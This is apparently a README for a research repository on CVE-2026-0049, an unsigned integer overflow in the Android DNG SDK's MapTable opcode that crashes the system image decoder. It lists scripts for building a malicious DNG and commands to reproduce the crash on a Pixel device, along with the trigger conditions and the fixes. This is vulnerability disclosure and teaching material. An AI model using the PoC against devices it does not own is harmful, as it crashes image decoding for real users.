完整的研究与 PoC 材料。叙述性分析: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md。
dng_opcode_MapTable::ProcessArea(dng_sdk/source/dng_misc_opcodes.cpp:388)中 fAreaSpec.Plane() + fAreaSpec.Planes() 的无符号整数溢出。libdng_sdk.so 时使用的 IntSan 会将溢出转化为 abort() → 在解码 DNG 的进程中触发 SIGABRT。2026-04-01,A-456471290)。两个补丁:dng_sdk 中的算术修正(+ 改写为 -)+ LocalImageResolver.java 中拒绝 DNG 的 MIME 白名单(第 14 节)。文章还详细介绍了:PoC 的完整生成流程(第 6 节)、为何使用 NDK harness(第 7 节)、UBSan/IntSan 标志 -fsanitize=undefined 与 =integer、recover/no-recover/trap、完整 vs 最小运行时(第 10 节)之间的区别,以及 IntSan vs SafeInt vs MTE(第 11 节)。
CVE-2026-0049/
├── BLOG.md 完整文章 — 意大利语(17 个章节)
├── BLOG.en.md 完整文章 — English (17 sections)
├── poc/
│ ├── inject_opcode.py [主要] 向有效 DNG 中注入 OpcodeList2/MapTable
│ ├── gen_base_dng.py 生成有效的 Bayer 基础 DNG(需要 pidng)
│ ├── make_dng.py 独立生成器(最小 DNG + opcode)
│ └── make_poc_dng.py 第一个从头生成的生成器(最小 LinearRaw)
├── harness/
│ ├── decode_poc.c NDK AImageDecoder harness(在设备上崩溃)
│ └── dng_xmp_stub.cpp XMP stub,用于在 PC 上编译 dng_validate
├── samples/
│ ├── valid_poc.dng 可用的 PoC(使系统解码器崩溃)
│ ├── base_benign.dng 良性对照(解码无崩溃)
│ └── poc_minimal.dng 从零生成的最小变体
└── evidence/
├── crash_backtrace.txt Pixel 9 的真实 tombstone
└── device_analysis.md libdng_sdk.so 二进制分析 + IntSan/SafeInt/MTE
pip install pidng
python3 poc/gen_base_dng.py base # -> base.dng(有效的 Bayer)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# 或者直接使用 samples/valid_poc.dng
关键细节:AreaSpec 必须非空(0,0,H,W);若 area 为空,Android 的 dng_sdk 会短路,解码返回错误而不崩溃(参见 BLOG.md 第 6.6 节)。为什么需要完全有效的 DNG 而不是最小化的:SkRawCodec(系统解码器)比 Glide/Photos 更严格,会拒绝缺少完整颜色元数据的 DNG(第 2 节、第 6.1 节)。
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
-O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/ # 注意:/data/local/tmp,不是 /sdcard(FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea
编译 dng_sdk 源码时,只对 dng_misc_opcodes.cpp 应用 -fsanitize=integer -fno-sanitize-recover(使用 harness/dng_xmp_stub.cpp 以便在没有 XMP SDK 的情况下链接)。然后:
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512
仅供研究/教学使用。仅在自有硬件上测试。